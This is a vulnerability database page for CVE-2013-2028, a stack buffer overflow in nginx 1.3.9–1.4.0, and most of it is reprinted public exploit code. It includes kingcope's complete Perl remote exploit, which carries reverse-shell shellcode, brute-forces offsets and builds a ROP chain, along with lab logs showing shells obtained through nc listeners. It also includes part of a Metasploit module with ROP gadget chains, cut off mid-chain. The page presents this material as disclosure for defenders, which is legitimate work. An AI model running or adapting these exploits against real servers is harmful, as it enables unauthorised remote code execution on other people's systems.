CVE-2013-2028

high
Published 2013-07-20 · Modified 2026-04-29
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
8.5

Description

The ngx_http_parse_chunked function in http/ngx_http_parse.c in nginx 1.3.9 through 1.4.0 allows remote attackers to cause a denial of service (crash) and execute arbitrary code via a chunked Transfer-Encoding request with a large chunk size, which triggers an integer signedness error and a stack-based buffer overflow.

Predictions

Exploit likelihood
55%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-26737 remote linux_x86 text · 24 KB
kingcope · 2013-07-11

Nginx 1.3.9/1.4.0 (x86) - Brute Force

text exploit Source: Exploit-DB
#nginx 1.3.9/1.4.0 x86 brute force remote exploit
# copyright (c) 2013 kingcope
#----------------------------
#fix for internet exploitation, set MTU:
#ifconfig <interface> mtu 60000 up
#
###
# !!! WARNING !!! 
# this exploit is unlikely to succeed when used against remote internet hosts.
# the reason is that nginx uses a non-blocking read() at the remote connection,
# this makes exploitation of targets on the internet highly unreliable.
# (it has been tested against a testbed on the internet but I couldn't exploit
# any other box with it. required was the above ifconfig setting on the client.
# maybe enabling large tcp frame support on a gigabit connection is more
# useful)
# so use it inside intranets only (duh!), this remains a PoC for now :D
# The exploit does not break stack cookies but makes use of a reliable method
# to retrieve all needed offsets for Linux x86 and pop a shell.
###
#TODO
#*cleanup code
#*implement stack cookie break and amd64 support
#*support proxy_pass directive
###
=for comment
TARGET TESTS (Debian, Centos, OpenSuSE)

1. Debian 7
perl ngxunlock.pl 192.168.27.146 80 192.168.27.146 443
Testing if remote httpd is vulnerable % SEGV %
YES %
Finding align distance (estimate)
testing 5250 align  % SEGV %
testing 5182 align  % SEGV %
Verifying align
Finding align distance (estimate)
testing 5250 align  % SEGV %
testing 5182 align  % SEGV %
Finding write offset, determining exact align
testing 0x08049c50, 5184 align  % SURVIVED %
Extracting memory \
bin search done, read 20480 bytes
exact align found 5184
Finding exact library addresses
trying plt 0x08049a32, got 0x080bc1a4, function 0xb76f4a80  % FOUND exact ioctl 0x08049a30 %
trying plt 0x08049ce2, got 0x080bc250, function 0xb773e890  % FOUND exact memset 0x08049ce0 %
trying plt 0x08049d52, got 0x080bc26c, function 0xb76f8d40  % FOUND exact mmap64 0x08049d50 %
Found library offsets, determining mnemonics
trying 0x0804ed2d  % SURVIVED %
exact large pop ret 0x0804a7eb
exact pop x3 ret 0x0804a7ee
bin search done |
See reverse handler for success

nc -v -l -p 443
listening on [any] 443 ...
192.168.27.146: inverse host lookup failed: Unknown host
connect to [192.168.27.146] from (UNKNOWN) [192.168.27.146] 34778
uname -a;id;
Linux dakkong 3.2.0-4-686-pae #1 SMP Debian 3.2.46-1 i686 GNU/Linux
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
cat /etc/debian_version
7.1

2. CentOS 6.4
perl ngxunlock.pl 192.168.27.129 80 192.168.27.129 443
Testing if remote httpd is vulnerable % SEGV %
YES %
Finding align distance (estimate)
testing 5250 align  % SEGV %
testing 5194 align  % SEGV %
Verifying align
Finding align distance (estimate)
testing 5250 align  % SEGV %
testing 5194 align  % SEGV %
Finding write offset, determining exact align
testing 0x08049990, 5200 align  % SURVIVED %
Extracting memory /
bin search done, read 20480 bytes
exact align found 5200
Finding exact library addresses
trying plt 0x080499f2, got 0x080b31ac, function 0x0094a6b0  % FOUND exact memset 0x080499f0 %
trying plt 0x08049b52, got 0x080b3204, function 0x008f1fd0  % FOUND exact ioctl 0x08049b50 %
trying plt 0x08049f12, got 0x080b32f4, function 0x008f72c0  % FOUND exact mmap64 0x08049f10 %
Found library offsets, determining mnemonics
trying 0x0804e9d4  % SURVIVED %
exact large pop ret 0x0806194d
exact pop x3 ret 0x0804a832
bin search done /
See reverse handler for success

nc -v -l 443
Connection from 192.168.27.129 port 443 [tcp/https] accepted
uname -a;id;
Linux localhost.localdomain 2.6.32-358.el6.i686 #1 SMP Thu Feb 21 21:50:49 UTC 2013 i686 i686 i386 GNU/Linux
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
cat /etc/redhat*
CentOS release 6.4 (Final)

3. OpenSuSE 12.1
perl ngxunlock.pl 192.168.27.135 80 192.168.27.135 443
Testing if remote httpd is vulnerable % SEGV %
YES %
Finding align distance (estimate)
testing 5250 align  % SEGV %
testing 5182 align  % SEGV %
Verifying align
Finding align distance (estimate)
testing 5250 align  % SEGV %
testing 5182 align  % SEGV %
Finding write offset, determining exact align
testing 0x08049a18, 5184 align  % SURVIVED %
Extracting memory \
bin search done, read 20480 bytes
exact align found 5184
Finding exact library addresses
trying plt 0x08049a6a, got 0x080be08c, function 0xb75f74f0  % FOUND exact memset 0x08049a68 %
trying plt 0x08049b8a, got 0x080be0d4, function 0xb764b160  % FOUND exact ioctl 0x08049b88 %
trying plt 0x08049eea, got 0x080be1ac, function 0xb76501e0  % FOUND exact mmap64 0x08049ee8 %
Found library offsets, determining mnemonics
trying 0x0804ea7f  % SURVIVED %
exact large pop ret 0x0804a7fa
exact pop x3 ret 0x0804a101
bin search done -
See reverse handler for success

Connection from 192.168.27.135 port 443 [tcp/https] accepted
uname -a;id;
Linux linux-01xg 3.1.0-1.2-desktop #1 SMP PREEMPT Thu Nov 3 14:45:45 UTC 2011 (187dde0) i686 i686 i386 GNU/Linux
uid=65534(nobody) gid=65533(nobody) groups=65533(nobody),65534(nogroup)

cat /etc/SuSE-*
openSUSE
VERSION = 12.1
openSUSE 12.1 (i586)
VERSION = 12.1
CODENAME = Asparagus
=cut

use IO::Socket;

if ($#ARGV < 3) {
print "nginx remote exploit\n";
print "copyright (c) 2013 kingcope\n";
print "usage: $0 <target> <target port> <reverse ip> <reverse port>\n";
exit;
}

$target = $ARGV[0];
$targetport = $ARGV[1];
$cbip = $ARGV[2];
$cbport = $ARGV[3];

#linux reverse shell by bighawk
$lnxcbsc =
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90\x6a\x66\x58\x6a\x01\x5b"   
."\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x68"
."\x7f\x7f\x7f\x7f" # IP
."\x66\x68" . "\xb0\xef" # PORT
."\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x6a\x03\x5b\x6a\x66"
."\x58\xcd\x80\x87\xf3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xd2"   
."\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));
substr($lnxcbsc, 31, 4, $a1 . $a2 . $a3 . $a4);

($p1, $p2) = split(//, reverse(pack("s", $cbport)));
$p1 = chr(ord($p1));
$p2 = chr(ord($p2));
substr($lnxcbsc, 37, 2, $p1 . $p2);

$|=1;
$uri="";
###test target vulnerable
#XXX
#$k = 0x80498d0;
#$align2 = 5200;
#$alignplus=0;
#goto debug;

print "Testing if remote httpd is vulnerable ";
$uritested = 0;
test:
goto l;
connecterr:
if ($j==0) {
	print "\nDestination host unreachable\n";
	exit;
}
goto again;
l:
for ($j=0;$j<15;$j++) {
again:
		$sock = IO::Socket::INET->new(PeerAddr => $target,
                                  PeerPort => $targetport,
                                  Proto    => 'tcp') || {goto connecterr};                                  
		setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
		$req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
                   ."Connection: close\r\n"
                   ."Transfer-Encoding:chunked\r\n\r\n";
		$req .= "0" x (1024-length($req)-16) . "8000000000003770";
		$stack = pack("V", 0xc0debabe);
		twinkle();		
		print $sock $req;
		send($sock, "A" x (5555-1024) . $stack, MSG_OOB);
                $l = read($sock, $buffer, 0x10);
		close($sock);
		twinkle();

		if ($buffer =~ /HTTP\/1.1/) {
			next;
		}
		if ($l <= 0) {
			print "% SEGV %\n";
			print "YES %\n";
			goto yes;
		}	
}

if ($uritested == 0) {
	$uri = "50x.html";
	$uritested=1;
	goto test;
}
print "\n\\\\ NO %\n";
print "\\\\ Try to increase client MTU with ifconfig <interface> mtu 60000 up\n\n\\\\ Debug output\n";
$sock = IO::Socket::INET->new(PeerAddr => $target,
                              PeerPort => $targetport,
                              Proto    => 'tcp') || {goto connecterr};                                  
setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
$req = "GET / HTTP/1.1\r\nHost: $target\r\n"
      ."Connection: keep-alive\r\n"
      ."Transfer-Encoding:chunked\r\n\r\n";
$req .= "0" x (1024-length($req)-16) . "8000000000003770";
$stack = pack("V", 0xc0debabe);
print $sock $req;
send($sock, "A" x (5555-1024) . $stack, MSG_OOB);
$line = 0;
while(<$sock>) {
	print;
	if ($line > 30) {
		last;
	}
}
exit;
###find align
$verifyalign = 0;
yes:
print "Finding align distance (estimate)\n";
for ($align=4050;$align<6000;$align+=100) {
for ($j=0;$j<15;$j++) {
		printf("testing %d align ",$align); 
again0_1:
#		$sock = IO::Socket::INET->new(PeerAddr => $target,
 #                                 PeerPort => $targetport,
  #                                Proto    => 'tcp') || {goto again0_1};
#		setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
#		$req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
 #                  ."Connection: close\r\n\r\n";
#		print $sock $req;
#		close($sock);

		$sock = IO::Socket::INET->new(PeerAddr => $target,
                                  PeerPort => $targetport,
                                  Proto    => 'tcp') || {goto again0_1};
		setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
		$req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
                   ."Connection: keep-alive\r\n"
                   ."Transfer-Encoding:chunked\r\n\r\n";
		$req .= "0" x (1024-length($req)-16) . "8000000000003770";
		$stack = pack("V", 0xc0debabe);
		print $sock $req;
		send($sock, "A" x ($align-1024) . $stack, MSG_OOB);
                $l = read($sock, $buffer, 0x10);
		twinkle();
		close($sock);
		
		if ($l <= 0) {
			if ($align == 4050) {
				goto out;
			}
			print " % SEGV %\n";
			$alignstart = $align-100;
			goto incalign;
		}
		print "\r\r\r\r";
		if ($buffer =~ /HTTP\/1.1/) {
			next;
		}
       	close($sock);
}
}
out:
print "\n\\\\ Align not found\n";
exit;

incalign:
for ($align=$alignstart;$align<6000;$align++) {
for ($j=0;$j<7;$j++) {
		printf("testing %d align ",$align); 
again0_2:
#		$sock = IO::Socket::INET->new(PeerAddr => $target,
 #                                 PeerPort => $targetport,
  #                                Proto    => 'tcp') || {goto again0_2};
#		setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
#		$req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
 #                  ."Connection: close\r\n\r\n";
#		print $sock $req;
#		close($sock);

		$sock = IO::Socket::INET->new(PeerAddr => $target,
                                  PeerPort => $targetport,
                                  Proto    => 'tcp') || {goto again0_2};
		setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
		$req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
                   ."Connection: keep-alive\r\n"
                   ."Transfer-Encoding:chunked\r\n\r\n";
		$req .= "0" x (1024-length($req)-16) . "8000000000003770";
		$stack = pack("V", 0xc0debabe);
		print $sock $req;
		send($sock, "A" x ($align-1024) . $stack, MSG_OOB);
        $l = read($sock, $buffer, 0x10);
		twinkle();
		close($sock);
		if ($l <= 0) {
			print " % SEGV %\n";
			if ($verifyalign == 0) {
				print "Verifying align\n";
				$verifyalign = $align;
				goto yes;
			}

			if (($align > $verifyalign + 4) || ($align < $verifyalign - 4))  {
				print "\\\\ Align and verfied align do not match\n";
				exit;
			}

			if ($verifyalign < $align) {
				$align = $verifyalign;
			}

			goto begin;
		}
		print "\r\r\r\r";

		if ($buffer =~ /HTTP\/1.1/) {
			next;
		}
       	close($sock);
}
}
print "\n\\\\ could not find align value. bailing out";
exit;
###find write offset
begin:
print "Finding write offset, determining exact align\n";
$align2 = $align;
$ok = 0;
#for ($k=0x8049d30;$k<=0x0804FFFF;$k+=4) {
for ($k=0x08049800;$k<=0x0804FFFF;$k+=4) {
#for ($k=0x0804dc00;$k<=0x0804FFFF;$k+=4) {	
for ($alignplus=0;$alignplus<7;$alignplus++) {
debug:
for ($j=0;$j<10;$j++) {
		if (pack("V", $k) =~ /\x20/) {
			next;
		}
		$align = $align2 + $alignplus;
		printf("testing 0x%08x, %d align ",$k,$align); 
again1:
#		if ($ok==0) {
#		$sock = IO::Socket::INET->new(PeerAddr => $target,
 #                                 PeerPort => $targetport,
  #                                Proto    => 'tcp') || {goto again1};
#		setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
#		$req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
 #                  ."Connection: close\r\n\r\n";
#		print $sock $req;
#		close($sock);
#		}
		$sock = IO::Socket::INET->new(PeerAddr => $target,
                                  PeerPort => $targetport,
                                  Proto    => 'tcp') || {goto again1};
		setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
		$req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
                   ."Connection: keep-alive\r\n"
                   ."Transfer-Encoding:chunked\r\n\r\n";
		$req .= "0" x (1024-length($req)-16) . "8000000000003770";
#		$k = 0x8049e30; #XXX
		$stack = pack("V", $k) # write plt assumed,eg 0x804ab6c
				. "ZZZZ" # crash dummy
				. "\x03\x00\x00\x00" # write file descriptor
				. pack("V", $k-0x1000) # write buffer
				. "\xff\xff\xf0\x00"; # write size
		#$p = <stdin>;
		print $sock $req;
		if ($ok == 0) {
		send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);
		} else {
		send($sock, "A" x ($align-1024) . $stack . "A" x 500, MSG_OOB);
		}
		$l = read($sock, $buffer, 0x5000);
		twinkle();
		close($sock);
#0x8049c50

		if ($buffer =~ /HTTP\/1.1/) {
			if ($ok == 0) {
				print "\r\r\r\r";
				next;
			} else {
				goto again1;
			}
		}

		if ($ok == 1 && length($buffer) < 0x2000) {
			goto again1;
		}

		if (length($buffer) > 350) {
			if ($ok == 0) {
				$ok = 1;
				print " % SURVIVED %\n";
				print("Extracting memory ");
				goto again1;
			}			
			print "\nbin search done, ";
			printf("read %d bytes\n", $l); 
			goto hit;
		}		           
		print "\r\r\r\r";
}
}
}	
print "\n\\\\unable to get write offset\n";
exit;
hit:
printf("exact align found %d\n", $align);
print "Finding exact library addresses\n";
$write = $k;
$writeless = $write-0x1000;
### find offsets for mmap64, memset and ioctl
$mmap64 = "";
$ioctl = "";
$memset = "";
$mmap64_prefix =
"\x55\x53\x56\x57\x8b\x54\x24\x28"
."\x8b\x4c\x24\x2c\xf7\xc2\xff\x0f"
."\x00\x00\x75";
$ioctl_prefix =
"\x53\x8b\x54\x24\x10\x8b\x4c\x24"
."\x0c\x8b\x5c\x24\x08\xb8\x36\x00"
."\x00\x00";
$memset_prefix =
"\x53\x8b\x4c\x24\x10\x0f\xb6\x44"
."\x24\x0c\x88\xc4\x89\xc2\xc1\xe0"
."\x10\x09\xd0\x8b\x54\x24\x08\x83";
$memset_prefix2 =
"\xfc\x57\x8b\x54\x24\x08\x8b\x4c"
."\x24\x10\x0f\xb6\x44\x24\x0c\xe3"
."\x2c\x89\xd7\x83\xe2\x03\x74\x11";
$memset_prefix3 =
"\x57\x8b\x7c\x24\x08\x8b\x54\x24"
."\x10\x8a\x44\x24\x0c\x88\xc4\x89"
."\xc1\xc1\xe0\x10\x66\x89\xc8\xfc";
$memset_prefix4 =
"\x55\x89\xe5\x57\x56\x83\xec\x04".
"\x8b\x75\x08\x0f\xb6\x55\x0c\x8b".
"\x4d\x10\x89\xf7\x89\xd0\xfc\x83";

$buffer2 = $buffer;
$buffer3 = $buffer;
plt_again:
$buffer2 = $buffer3;
for(;;) {
	$i = index($buffer2, "\xff\x25");
	if ($i >= 0) {
		if (($j = index($buffer3, substr($buffer2, $i, 50))) <= 0) {
			$buffer2 = substr($buffer2, $i+2);
			next;
		}
		$buffer2 = substr($buffer2, $i+2);
		$address = $writeless + $j;
		### delve into library function
		printf "trying plt 0x%08x, ", ($address+2);
again2:
		$sock = IO::Socket::INET->new(PeerAddr => $target,
		                          PeerPort => $targetport,
		                          Proto    => 'tcp') || {goto again2};
                setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
                $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
                   ."Connection: keep-alive\r\n"
                   ."Transfer-Encoding:chunked\r\n\r\n";
                $req .= "0" x (1024-length($req)-16) . "8000000000003770";
				$stack = pack("V", $write) # write plt
				. "ZZZZ" # crash dummy
				. "\x03\x00\x00\x00" # write file descriptor
				. pack("V", $address+2) # write buffer
				. "\x00\x03\x00\x00"; # write size
                print $sock $req;
		send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);		

                $l = read($sock, $buffer, 0x300);
                if ($buffer =~ /HTTP\/1.1/) {
                        goto again2;
                }
                if ($l == 0x300) {
			$gotentry = unpack("V", substr($buffer,0,4));
			if ($gotentry == 0) {
			print "\r\r\r\r";
			next;
			}
                        close($sock);
                } else {
			close($sock);
			goto again2;
		}
				
		printf "got 0x%08x, ", $gotentry;
again3:
		$sock = IO::Socket::INET->new(PeerAddr => $target,
		                          PeerPort => $targetport,
		                          Proto    => 'tcp') || {goto again3};

                setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
                $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
                   ."Connection: keep-alive\r\n"
                   ."Transfer-Encoding:chunked\r\n\r\n";
                $req .= "0" x (1024-length($req)-16) . "8000000000003770";
		$stack = pack("V", $write) # write plt
				. "ZZZZ" # crash dummy
				. "\x03\x00\x00\x00" # write file descriptor
				. pack("V", $gotentry) # write buffer
				. "\x00\x03\x00\x00"; # write size
                print $sock $req;
		send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);		

                $l = read($sock, $buffer, 0x300);
		close($sock);
                if ($buffer =~ /HTTP\/1.1/) {
			goto again3;
                }
                if ($l == 0x300) {
			$function = unpack("V", substr($buffer,0,4));
                } else {
			goto again3;
		}
		if ($function == 0) {
		print "\r\r\r\r";
		next;
		}

		printf "function 0x%08x ", $function;
again4:
		$sock = IO::Socket::INET->new(PeerAddr => $target,
		                          PeerPort => $targetport,
		                          Proto    => 'tcp') || {goto again4};

                setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
                $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
                   ."Connection: keep-alive\r\n"
                   ."Transfer-Encoding:chunked\r\n\r\n";
                $req .= "0" x (1024-length($req)-16) . "8000000000003770";
		$stack = pack("V", $write) # write plt
				. "ZZZZ" # crash dummy
				. "\x03\x00\x00\x00" # write file descriptor
				. pack("V", $function) # write buffer
				. "\xff\xff\xf0\x00"; # write size
                print $sock $req;
		send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);		

                #$p = <stdin>;
                $l = read($sock, $buffer, 0x500);
                close($sock);
                if ($buffer =~ /HTTP\/1.1/) {
			goto again4;
                }
                if ($l != 0x500) {
			goto again4;
		}
		###		
		
		if (substr($buffer, 0, length($mmap64_prefix)) eq
			$mmap64_prefix) {
			$mmap64 = $address;
			printf(" %% FOUND exact mmap64 0x%08x %%\n", $mmap64);
		}
		if ((substr($buffer, 0, length($memset_prefix)) eq
			$memset_prefix) or 
		    (substr($buffer, 0, length($memset_prefix2)) eq
			 $memset_prefix2) or
		    (substr($buffer, 0, length($memset_prefix3)) eq
			 $memset_prefix3) or
		    (substr($buffer, 0, length($memset_prefix4)) eq
			 $memset_prefix4)) {
			$memset = $address;
			printf(" %% FOUND exact memset 0x%08x %%\n", $memset);
		}
		if (substr($buffer, 0, length($ioctl_prefix)) eq
			$ioctl_prefix) {
			$ioctl = $address;
			printf(" %% FOUND exact ioctl 0x%08x %%\n", $ioctl);
		}
		
		if (($mmap64 ne "") and ($memset ne "") and ($ioctl ne "")) {		
			goto gotplt;
		}
		print "\r\r\r\r";
	} else {
		last;
	}
}
print "\nFinding exact library addresses\n";
goto plt_again;
gotplt:
print "Found library offsets, determining mnemonics\n";
### find pop pop pop ret
### to set socket blocking
for ($k=$write + 0x5000;;$k++) {
		printf("trying 0x%08x ",$k); 
again5:
		$sock = IO::Socket::INET->new(PeerAddr => $target,
                                  PeerPort => $targetport,
                                  Proto    => 'tcp') || {goto again5};
                setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
                $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
                   ."Connection: keep-alive\r\n"
                   ."Transfer-Encoding:chunked\r\n\r\n";
                $req .= "0" x (1024-length($req)-16) . "8000000000003770";
				$stack = pack("V", $ioctl)
				. pack("V", $k) # pop pop pop ret assumed
				. "\x03\x00\x00\x00"
				. "\x21\x54\x00\x00"
				. "\x08\x80\x04\x08" # null byte
				. pack("V", $write) # write plt found
				. "ZZZZ" # crash dummy
				. "\x03\x00\x00\x00" # write file descriptor
				. pack("V", $write) # write buffer
				. "\xff\xff\x0f\x00"; # write size
                print $sock $req;
		send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);		

                #$p = <stdin>;
		$l = read($sock, $buffer, 0xfffff);
		close($sock);
		twinkle();
		if ($buffer =~ /HTTP\/1.1/) {
                        again5;
                }

		if ($l  > 0xfff) {
			print " % SURVIVED %\n";
			close($sock);
			goto hit2;
		}
		print "\r\r\r\r";
                next;
}
hit2:
###send attack buffer
###find largepopret
@matches = $buffer =~ /(\x83\xc4\x20[\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d]\xc3)/g;
foreach $m (@matches) {
	$i = index($buffer, $m);
	twinkle();
	print "\r";
	if ($i >= 0) {
		$__largepopret = $write + $i;
		printf("exact large pop ret 0x%08x\n", $__largepopret);
		goto hit3;
	}
}
print "\\\\ large pop ret not found\n";
exit;
hit3:
###find poppoppopret
@matches = $buffer =~ /([\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d]\xc3)/g;
foreach $m (@matches) {
	$i = index($buffer, $m);
	if ($i >= 0) {
		$__poppoppopret = $write + $i;
		printf("exact pop x3 ret 0x%08x\n", $__poppoppopret);
		goto attack;
	}
}
print "\\\\ poppoppopret not found\n";
exit;
attack:			  
$largepopret = pack("V", $__largepopret);
$popblock = "\x00\x00\x00\x00"
	   ."\x00\x00\x00\x00"
	   ."\x00\x00\x00\x00"
	   ."\x00\x00\x00\x00";
$popret = pack("V", $__poppoppopret+2);
$poppoppopret = pack("V", $__poppoppopret);
$pop3ret = $__poppoppopret;

$copycode = "\xfc\x8b\xf4\xbf\x00\x01\x00\x10\xb9\x00\x02\x00\x00\xf3\xa4"
		   ."\xeb\xff";
$memsetcode = "";
$copyaddress = 0x10000000;
for ($i=0;$i<length($copycode);$i++) {
	$byte = substr($copycode, $i, 1);
	$memsetcode .= pack("V", $memset)
        		 . pack("V", $pop3ret)
        		 . pack("V", $copyaddress)
        		 . $byte . "\x00\x00\x00"
        		 . "\x01\x00\x00\x00";
	$copyaddress++;
}
for ($q=0;$q<10;$q++) {
print "bin search done ";
sleep(1);
twinkle();
print "\r"
}
print "\n";
print "See reverse handler for success\n";
again6:
$sock = IO::Socket::INET->new(PeerAddr => $target,
                          PeerPort => $targetport,
                          Proto    => 'tcp') || {goto again6};
setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
$req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
      ."Connection: close\r\n"
      ."Transfer-Encoding:chunked\r\n\r\n";
$req .= "0" x (1024-length($req)-16) . "8000000000003770";
$stack = pack("V", $mmap64)
	. $largepopret
 	."\x00\x00\x00\x10" # mmap start
 	."\x00\x10\x00\x00" # mmap size
 	."\x07\x00\x00\x00" # mmap prot
 	."\x32\x00\x00\x00" # mmap flags
 	."\xff\xff\xff\xff" # mmap fd
 	."\x00\x00\x00\x00" # mmap offset
 	."\x00\x00\x00\x00" # mmap offset
 	. $popblock
 	. $memsetcode
	. "\x00\x00\x00\x10" # JUMP TO 0x10000000 (rwxp addr)
	. "\x90" x 100 . $lnxcbsc;
#$p = <stdin>;
print $sock $req;
send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);		
close($sock);

goto again6; # XXX
my $current = 0; 
sub twinkle { 
$cursors[0] = "|";
$cursors[1] = "/";
$cursors[2] = "-";
$cursors[3] = "\\";
print "$cursors[$current++]\b";
if ($current > 3) {
	$current = 0;
} 
}
EDB-25775 remote linux verified ruby · 8 KB
Metasploit · 2013-05-28

Nginx 1.3.9 < 1.4.0 - Chuncked Encoding Stack Buffer Overflow (Metasploit)

ruby exploit Source: Exploit-DB
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote

  include Exploit::Remote::Tcp

  def initialize(info = {})

    super(update_info(info,
      'Name'           => 'Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in versions 1.3.9 to 1.4.0 of nginx.
        The exploit first triggers an integer overflow in the ngx_http_parse_chunked() by
        supplying an overly long hex value as chunked block size. This value is later used
        when determining the number of bytes to read into a stack buffer, thus the overflow
        becomes possible.
      },
      'Author'         =>
        [
          'Greg MacManus',    # original discovery
          'hal',              # Metasploit module
          'saelo'             # Metasploit module
        ],
      'DisclosureDate' => 'May 07 2013',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2013-2028'],
          ['OSVDB', '93037'],
          ['URL', 'http://nginx.org/en/security_advisories.html'],
          ['URL', 'http://packetstormsecurity.com/files/121560/Nginx-1.3.9-1.4.0-Stack-Buffer-Overflow.html']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'BadChars' => "\x0d\x0a",
        },
      'Arch' => ARCH_CMD,
      'Platform' => 'unix',
      'Targets'        =>
        [
          [ 'Ubuntu 13.04 32bit - nginx 1.4.0', {
            'CanaryOffset' => 5050,
            'Offset' => 12,
            'Writable' => 0x080c7330, # .data from nginx
            :dereference_got_callback => :dereference_got_ubuntu_1304,
            :store_callback => :store_ubuntu_1304,
          }],
          [ 'Debian Squeeze 32bit - nginx 1.4.0', {
            'Offset' => 5130,
            'Writable' => 0x080b4360, # .data from nginx
            :dereference_got_callback => :dereference_got_debian_squeeze,
            :store_callback => :store_debian_squeeze
          } ],
        ],

      'DefaultTarget' => 0
  ))

  register_options([
      OptPort.new('RPORT', [true, "The remote HTTP server port", 80])
    ], self.class)

  register_advanced_options(
    [
      OptInt.new("CANARY", [false, "Use this value as stack canary instead of brute forcing it", 0xffffffff ]),
    ], self.class)

  end

  def peer
    "#{rhost}:#{rport}"
  end

  def check
    begin
      res = send_request_fixed(nil)

      if res =~ /^Server: nginx\/(1\.3\.(9|10|11|12|13|14|15|16)|1\.4\.0)/m
        return Exploit::CheckCode::Appears
      elsif res =~ /^Server: nginx/m
        return Exploit::CheckCode::Detected
      end

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("#{peer} - Connection failed")
    end

    return Exploit::CheckCode::Unknown
  end

  #
  # Generate a random chunk size that will always result
  # in a negative 64bit number when being parsed
  #
  def random_chunk_size(bytes=16)
    return bytes.times.map{ (rand(0x8) + 0x8).to_s(16) }.join
  end

  def send_request_fixed(data)

    connect

    request =   "GET / HTTP/1.1\r\n"
    request <<  "Host: #{Rex::Text.rand_text_alpha(16)}\r\n"
    request <<  "Transfer-Encoding: Chunked\r\n"
    request <<  "\r\n"
    request <<  "#{data}"

    sock.put(request)

    res = nil

    begin
      res = sock.get_once(-1, 0.5)
    rescue EOFError => e
      # Ignore
    end

    disconnect
    return res
  end

  def store_ubuntu_1304(address, value)
    chain = [
      0x0804c415, # pop ecx ; add al, 29h ; ret
      address, # address
      0x080b9a38, # pop eax ; ret
      value.unpack('V').first, # value
      0x080a9dce, # mov [ecx], eax ; mov [ecx+4], edx ; mov eax, 0 ; ret
    ]
    return chain.pack('V*')
  end

  def dereference_got_ubuntu_1304
    chain = [
      0x08094129,         # pop esi; ret
      0x080c5090,         # GOT for localtime_r
      0x0804c415,         # pop ecx ; add al, 29h ; ret
      0x001a4b00,         # Offset to system
      0x080c360a,         # add ecx, [esi] ; adc al, 41h ; ret
      0x08076f63,         # push ecx ; add al, 39h ; ret
      0x41414141,         # Garbage return address
      target['Writable'], # ptr to .data where contents have been stored
    ]
    return chain.pack('V*')
  end

  def store_debian_squeeze(address, value)
    chain = [
      0x08050d93,              # pop edx ; add al 0x83 ; ret
      value.unpack('V').first, # value
      0x08067330,              # pop eax ; ret
      address,                 # address
      0x08070e94,              # mov [eax] edx ; mov eax 0x0 ; pop ebp ; ret
      0x41414141,              # ebp
    ]

    return chain.pack('V*')
  end

  def dereference_got_debian_squeeze
    chain = [
      0x0804ab34,        # pop edi ; pop ebp ; ret
      0x080B4128 -
